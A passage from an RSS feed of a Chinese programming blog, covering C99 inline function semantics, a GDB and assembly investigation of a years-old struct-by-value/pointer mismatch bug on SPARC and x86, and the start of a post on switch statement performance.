	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $.LC1, 4(%esp)<br />
	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $1, (%esp)<br />
	&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; __printf_chk<br />
	&nbsp;&nbsp;&nbsp; xorl&nbsp;&nbsp;&nbsp; %eax, %eax<br />
	&nbsp;&nbsp;&nbsp; leave<br />
	&nbsp;&nbsp;&nbsp; ret</p>
<p>内联优化生效了，main代码中并未显式地进行foo的函数调用。并且编译器依旧为foo生成了一份独立的global的函数定义汇编码块，这块代码可以直接被外部引用，也就是说在开启优化的情况下，foo定义在本编译单元被看作内联定义，同时对其他编译单元而言，也是外部函数定义。</p>
<p>我们通过在头文件中增加一个外部函数声明实现了我们的目标！不过上面方法虽然实现了一份定义既可以当作inline定义，也可以作为外部定义，但inline定义仅局限于定义它的那个编译单元，其他编译单元即使在开启内联优化时，依旧无法实施内联优化。如果我们希望多个编译单元共享一份inline定义并且这份定义也可以同时作为外部函数定义，我们该如何做呢？ &#8211; 那我们只能把inline定义放到头文件中了！见下面代码：</p>
<p>/* foo.h */<br />
	inline void foo() {<br />
	&nbsp;&nbsp;&nbsp; printf (&quot;foo in %s\n&quot;, __FILE__);<br />
	}</p>
<p>/* foo.c */<br />
	#include<br />
	#include &quot;foo.h&quot;</p>
<p>int main() {<br />
	&nbsp;&nbsp;&nbsp; foo();<br />
	&nbsp;&nbsp;&nbsp; return 0;<br />
	}</p>
<p>/* bar.c */<br />
	#include<br />
	#include &quot;foo.h&quot;</p>
<p>void bar() {<br />
	&nbsp;&nbsp;&nbsp; foo();<br />
	}</p>
<p>$ gcc -std=c99 foo.c -S -O2<br />
	我们看看开启优化情况下的bar.c和foo.c对应的汇编代码，以foo.s为例：</p>
<p>/* foo.s */<br />
	&#8230; &#8230;<br />
	main:<br />
	&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp; %ebp<br />
	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; %esp, %ebp<br />
	&nbsp;&nbsp;&nbsp; andl&nbsp;&nbsp;&nbsp; $-16, %esp<br />
	&nbsp;&nbsp;&nbsp; subl&nbsp;&nbsp;&nbsp; $16, %esp<br />
	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $.LC0, 8(%esp)<br />
	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $.LC1, 4(%esp)<br />
	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $1, (%esp)<br />
	&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; __printf_chk<br />
	&nbsp;&nbsp;&nbsp; xorl&nbsp;&nbsp;&nbsp; %eax, %eax<br />
	&nbsp;&nbsp;&nbsp; leave<br />
	&nbsp;&nbsp;&nbsp; ret<br />
	&#8230; &#8230;</p>
<p>内联优化生效，bar.s也是一样，不过编译器没有为我们生成foo的独立外部定义代码，这样的foo定义只能作为inline定义，而不能被作为外部函数定义。如果此时不开启优化选项编译，我们还会得到如下错误：<br />
	/tmp/ccpp1E7i.o: In function `main&#039;:<br />
	foo.c:(.text+0&#215;7): undefined reference to `foo&#039;<br />
	/tmp/ccQk872R.o: In function `bar&#039;:<br />
	bar.c:(.text+0&#215;7): undefined reference to `foo&#039;<br />
	collect2: ld returned 1 exit status</p>
<p>我们稍作改动，在foo.c和bar.c的文件开始处，我们加上这样一行代码：&quot;extern inline void foo();&quot;，加上后，我们重新编译，这回foo在被内联优化的同时，也被生成了一份独立的外部函数定义。我们的目标又达到了!</p>
<p>总之，C99中inline相对比较怪异，使用时务必小心慎重。</p>
<p style='text-align:left'>&copy; 2011, <a href='https://tonybai.com'>bigwhite</a>. 版权所有. </p>
]]></content:encoded>
			<wfw:commentRss>https://tonybai.com/2011/06/22/also-talk-about-inline-function-in-c/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>发现一隐藏多年的Bug</title>
		<link>https://tonybai.com/2008/09/06/found-a-bug-that-is-hidden-several-years/</link>
		<comments>https://tonybai.com/2008/09/06/found-a-bug-that-is-hidden-several-years/#comments</comments>
		<pubDate>Fri, 05 Sep 2008 16:11:05 +0000</pubDate>
		<dc:creator>bigwhite</dc:creator>
				<category><![CDATA[技术志]]></category>
		<category><![CDATA[Assembly]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Bug]]></category>
		<category><![CDATA[Debug]]></category>
		<category><![CDATA[GDB]]></category>
		<category><![CDATA[Programmer]]></category>
		<category><![CDATA[Solaris]]></category>
		<category><![CDATA[SPARC]]></category>
		<category><![CDATA[博客]]></category>
		<category><![CDATA[汇编]]></category>
		<category><![CDATA[程序员]]></category>

		<guid isPermaLink="false">http://tonybai.com/2008/09/06/%e5%8f%91%e7%8e%b0%e4%b8%80%e9%9a%90%e8%97%8f%e5%a4%9a%e5%b9%b4%e7%9a%84bug%ef%bc%9f/</guid>
		<description><![CDATA[C语言程序员在平时工作中，到底如何获取成就感呢？我几乎可以肯定的是：找到一个隐藏已久，多年无人发现的大Bug肯定可以归属到C程序员成就感的范畴中。与操作系统斗、与编译器斗、与内存斗，其乐无穷吗^_^。<br />
<br />
今天测试人员在进行平台迁移测试时发现一个致命的问题，导致系统不能正常工作。问题提到我这，为了不耽误测试进度，马上丢下手头的工作开始问题的查找，经过<a href="http://bigwhite.blogbus.com/logs/1801699.html" target="_blank">GDB</a>多次跟踪调试，终于发现了一隐藏多年的问题，至于能否称为Bug呢，我还不敢确定，因为我尚不清楚当年的前辈们在书写这些代码时到底是如何考虑的。]]></description>
			<content:encoded><![CDATA[<p>C语言程序员在平时工作中，到底如何获取成就感呢？我几乎可以肯定的是：找到一个隐藏已久，多年无人发现的大Bug肯定可以归属到C程序员成就感的范畴中。与操作系统斗、与编译器斗、与内存斗，其乐无穷吗^_^。</p>
<p>今天测试人员在进行平台迁移测试时发现一个致命的问题，导致系统不能正常工作。问题提到我这，为了不耽误测试进度，马上丢下手头的工作开始问题的查找，经过<a href="http://tonybai.com/2006/01/08/debug-multiple-process-program-using-gdb/" target="_blank">GDB</a>多次跟踪调试，终于发现了一隐藏多年的问题，至于能否称为Bug呢，我还不敢确定，因为我尚不清楚当年的前辈们在书写这些代码时到底是如何考虑的。</p>
<p>前不久听说隐藏在FreeBSD系统中长达25年的一个Bug终于被Fixed了，当然今天我发现的这个问题肯定不及FreeBSD的这个Bug重要，但是对于我们的产品来说还是有很大意义的。</p>
<p>其实这个问题很简单，这里简单用一个例子来展示这个问题(稍后我还会用这个例子做进一步深入分析)：<br />
	/* TestFoo.c 注意该文件并不一定在所有编译器下都能顺利编译通过，警告是不可避免的了 */</p>
<p>typedef struct Foo {<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp; a;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp; b;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp; c;<br />
	} Foo;</p>
<p>int main() {<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Foo f;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f.a = 17;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f.b = 23;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f.c = 19;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test_foo(f);<br />
	}</p>
<p>void test_foo(Foo *pfoo) {<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pfoo-&gt;c = 29;<br />
	}</p>
<p>明眼人一眼就能看得出来，test_foo调用时，没有按照test_foo的原型传入f的地址，而是将f以值得形式传给了test_foo这个函数。就是这样的一个很低级的问题。当然了如果一个系统只有几行代码的话，这个问题可能会马上暴露出来；但是在一个拥有几十万行代码且稳定运行了若干年的系统中，没人会注意这个问题。</p>
<p>有人马上会提出两个疑问：<br />
	1) 为什么编译器没能给出参数类型不匹配的警告？<br />
	2) 为什么系统能在这样明显的问题下稳定运行若干年而不出错呢？</p>
<p>首先回答第一个问题：之所以编译器没能给出警告是因为项目遗留代码不规范的缘故，在调用test_foo这个角色函数的C文件中并没有引用test_foo原型声明所在的头文件，更不专业的是：test_foo这个函数根本没有在任何头文件中给予原型声明；这样一来，编译器在编译阶段无从知道test_foo到底是个什么样子的函数，也就无法给出正确的调用检查了。而在链接阶段根本不对参数进行有效检查，导致漏洞得以延续。</p>
<p>第二个问题也是今天在发现这个问题后我最最疑惑的了。按理论上分析，如果按照上述例子中代码，f以值传递方式传入test_foo，test_foo会将f的头4个字节转换成一个Foo指针类型，这样在test_foo中引用pfoo时实际上访问的地址应该是0&#215;11(17d)，这个地址在应用程序进程地址空间属于系统地址空间，用户根本无法访问，一旦访问势必违法，如果在SUN SPARC平台上势必是要崩core的。但是实际情况是这样吗？我将上述程序放到SPARC Solaris9平台上用GCC 3.2版本编译器编译后，居然执行后一切OK。而这个源代码放到X86 Solaris 10上用GCC 3.4.6编译后(如果想编译成功，需要将test_foo的返回值改成int)运行就会出Core。初步得出结论：不同CPU体系对该种代码的处理有不同，需逐一分析。</p>
<p>先来看看SPARC Solaris9，用GDB跟踪程序：<br />
	Starting program: a.out</p>
<p>Breakpoint 1, test_foo (pfoo=0xffbff0c0) at TestFoo.c:20<br />
	20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pfoo-&gt;c = 29;<br />
	(gdb) up<br />
	#1&nbsp; 0x0001069c in main () at TestFoo.c:15<br />
	15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test_foo(f);<br />
	(gdb) p &#038;f<br />
	$1 = (Foo *) 0xffbff0d0</p>
<p>可以看到在main中，f的地址是0xffbff0d0，而传入test_foo后，pfoo指向的地址居然是0xffbff0c0了。一个推翻前面推理的猜想：编译器在栈上复制了一份f，得到了f&#039;，并将f&#039;的地址传给了test_foo。但是编译器为什么要这么做呢？似乎是当编译器发现传入函数的实际参数的值类型大于形式参数类型的时候，都要这么来做，这里我也没有什么特殊的根据，只是通过实验得出这个结论。比如：</p>
<p>/* testvaluepass.c */<br />
	typedef struct Foo {<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp; a;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp; b;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp; c;<br />
	} Foo;</p>
<p>int main() {<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Foo&nbsp;&nbsp;&nbsp;&nbsp; f;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f.a&nbsp;&nbsp;&nbsp;&nbsp; = 17;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; func(f);<br />
	}</p>
<p>void func(int x) {<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x = 7;<br />
	}</p>
<p>/* testvaluepass.s , &lt;=gcc -S testvaluepass.c*/<br />
	main:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !#PROLOGUE# 0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; save&nbsp;&nbsp;&nbsp; %sp, -144, %sp&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;// 寄存器窗口切换（似乎是SPARC独有的机制），fp&lt;- old_sp, new_sp &lt;- old_sp &#8211; 144<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !#PROLOGUE# 1<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; 17, %o0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; st&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %o0, [%fp-32]&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//%fp-32  &#038;f.a</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ldd&nbsp;&nbsp;&nbsp;&nbsp; [%fp-32], %o0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; std&nbsp;&nbsp;&nbsp;&nbsp; %o0, [%fp-48]&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//从%fp-48开始，复制f得到f&#039;，先copy一个dword，再来一个word，一共12个字节<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ld&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [%fp-24], %o0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; st&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %o0, [%fp-40]</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp; %fp, -48, %o0&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//将f&#039;的地址存入%o0，在subroutine func中, %o0随着寄存器窗口的变动，新栈帧中%i0等于old栈帧中的%o0，也就是f&#039;在栈上的首地址<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; func, 0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; %o0, %i0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; restore</p>
<p>func:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !#PROLOGUE# 0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; save&nbsp;&nbsp;&nbsp; %sp, -112, %sp<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !#PROLOGUE# 1<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; st&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %i0, [%fp+68]&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//将f&#039;地址写入本地变量x中<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; 7, %i0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; st&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %i0, [%fp+68]&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//将7赋值给x<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; restore</p>
<p>有了这个例子之后，我们可以分析第一个例子了，同样也是在经过汇编之后：<br />
	main:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !#PROLOGUE# 0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; save&nbsp;&nbsp;&nbsp; %sp, -144, %sp<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !#PROLOGUE# 1<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; 17, %o0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; st&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %o0, [%fp-32]<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; 23, %o0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; st&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %o0, [%fp-28]<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; 19, %o0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; st&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %o0, [%fp-24]</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ldd&nbsp;&nbsp;&nbsp;&nbsp; [%fp-32], %o0&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//这四行语句在重新复制一个f<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; std&nbsp;&nbsp;&nbsp;&nbsp; %o0, [%fp-48]<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ld&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [%fp-24], %o0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; st&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %o0, [%fp-40]</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp; %fp, -48, %o0 &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//将新f&#039;的地址放到%o0中，而不是将[%fp-48]存入%o0，关键啊！<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; test_foo, 0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; %o0, %i0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; restore</p>
<p>test_foo:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !#PROLOGUE# 0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; save&nbsp;&nbsp;&nbsp; %sp, -112, &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;// 寄存器窗口切换，fp&lt;- old_sp, new_sp %i0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !#PROLOGUE# 1<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; st&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %i0, [%fp+68] &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//%i0存储的是f&#8217;的地址，是在save时由%o0得来的，存入[%fp+68]，即形式参数变量在栈上的地址。而恰好的是这个参数还是一个Foo*类型，这也是在SPARC上没出错的原因了。<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ld&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [%fp+68], %i1&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//%i此时存储的是f&#039;的地址, 这个就是gdb跟踪时的0xffbff0c0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; 29, %i0<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; st&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %i0, [%i1+8]&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//将29存入f&#039;.c里面去了<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; restore</p>
<p>这样一来，没有出core的原因也就找到了，但是编译器为何如此做，还无法得出确切结论。</p>
<p>前面说过，在X86平台上，第一个例子程序是出core的，我们同样也来看看x86平台下的汇编码(与SPARC不同，esp一直在动)：<br />
	.globl main<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .type&nbsp;&nbsp; main, @function<br />
	main:<br />
	.LFB2:<br />
	.LM1:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp; %ebp<br />
	.LCFI0:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; %esp, %ebp&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//ebp &lt;- old sp<br />
	.LCFI1:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; subl&nbsp;&nbsp;&nbsp; $24, %esp&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br />
	.LCFI2:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; andl&nbsp;&nbsp;&nbsp; $-16, %esp&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $0, %eax<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addl&nbsp;&nbsp;&nbsp; $15, %eax<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addl&nbsp;&nbsp;&nbsp; $15, %eax<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shrl&nbsp;&nbsp;&nbsp; $4, %eax<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sall&nbsp;&nbsp;&nbsp; $4, %eax<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; subl&nbsp;&nbsp;&nbsp; %eax, %esp<br />
	.LM2:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $17, -24(%ebp)&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//f.a&nbsp; init %ebp-24<br />
	.LM3:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $23, -20(%ebp)&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//f.b&nbsp; init %ebp-20<br />
	.LM4:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $19, -16(%ebp)&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//f.c&nbsp; init %ebp-16<br />
	.LM5:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; subl&nbsp;&nbsp;&nbsp; $4, %esp<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp; -16(%ebp)&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//push onto stack, as first parameter<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp; -20(%ebp)<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp; -24(%ebp)&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<br />
	.LCFI3:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; test_foo<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addl&nbsp;&nbsp;&nbsp; $16, %esp<br />
	.LM6:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; leave<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret<br />
	test_foo:<br />
	.LFB3:<br />
	.LM7:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp; %ebp&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//save old ebp<br />
	.LCFI4:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; %esp, %ebp&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//current ebp &lt;- old esp<br />
	.LCFI5:<br />
	.LM8:<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; 8(%ebp), %eax&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//eax &lt;- ebp + 8 ，将ebp+8那块内存的值放到%eax，而这个值恰好是0&#215;11(17d)<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $29, 8(%eax)&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//访问0&#215;11+8显然不合理，出core</p>
<p>看来，不同平台的编译器生成代码差异还是不小的，但是在系统里发现的这个问题到底是否定性为Bug呢?也许这样的一个问题在早期的实现者头脑里早已经是已知的了，他可能就是故意这么做的。如果真的是这样的话，那还真不能算作一个bug，而是我们水平太浅，没能意识到这点。但可以肯定的是是这样编写代码绝对是一个不好的代码风格和习惯。另外发现代码中除了这一处之外还有多处相类似的调用，多是将变量值直接付给一个地址参数了。</p>
<p>附:&nbsp; <a href="http://www.cs.clemson.edu/%7Emark/sparc_assembly.html" target="_blank">SPARC汇编笔记</a></p>
<p style='text-align:left'>&copy; 2008, <a href='https://tonybai.com'>bigwhite</a>. 版权所有. </p>
]]></content:encoded>
			<wfw:commentRss>https://tonybai.com/2008/09/06/found-a-bug-that-is-hidden-several-years/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>switch语句性能考量</title>
		<link>https://tonybai.com/2008/08/18/thoughts-on-the-performance-of-switch-case-statments/</link>
		<comments>https://tonybai.com/2008/08/18/thoughts-on-the-performance-of-switch-case-statments/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 11:03:12 +0000</pubDate>
		<dc:creator>bigwhite</dc:creator>
				<category><![CDATA[技术志]]></category>
		<category><![CDATA[Assembly]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[GCC]]></category>
		<category><![CDATA[GDB]]></category>
		<category><![CDATA[Grammar]]></category>
		<category><![CDATA[Programmer]]></category>
		<category><![CDATA[博客]]></category>
		<category><![CDATA[汇编]]></category>
		<category><![CDATA[程序员]]></category>
		<category><![CDATA[语法]]></category>

		<guid isPermaLink="false">http://tonybai.com/2008/08/18/switch%e8%af%ad%e5%8f%a5%e6%80%a7%e8%83%bd%e8%80%83%e9%87%8f/</guid>
		<description><![CDATA[每年都有应届毕业生来到公司，每年都要对新同事进行代码方面的培训，比如编码规范就是其中之一。编码规范初听起来比较新鲜，但是培训时间长了，显然有些乏
味。今年我打算改变策略，让新同事结合已有规范文档和项目代码，自己先挖掘一遍，然后大家通过坐下来讨论的互动方式来加深对规范的理解，每次讨论时间限制
在1 hour以内，不给大家打瞌睡的机会^_^。<br />
<br />
上周和新同事一起讨论表达式和语句，说到了switch和if，谈到了他们的用途和区别。大家都清楚switch语句被称为多分支语句，当代码中即将出现
3个及3个以上分支时，推荐用switch，这样代码可读性好，清晰，格式工整；但是同样switch也是有局限的，就是switch(xx)中的xx必
须是整型变量；如果你的条件判断是字符串比较，就无法直接使用switch了。switch的这一局限实际上是有原因的，为什么呢？在于其性能优化。那
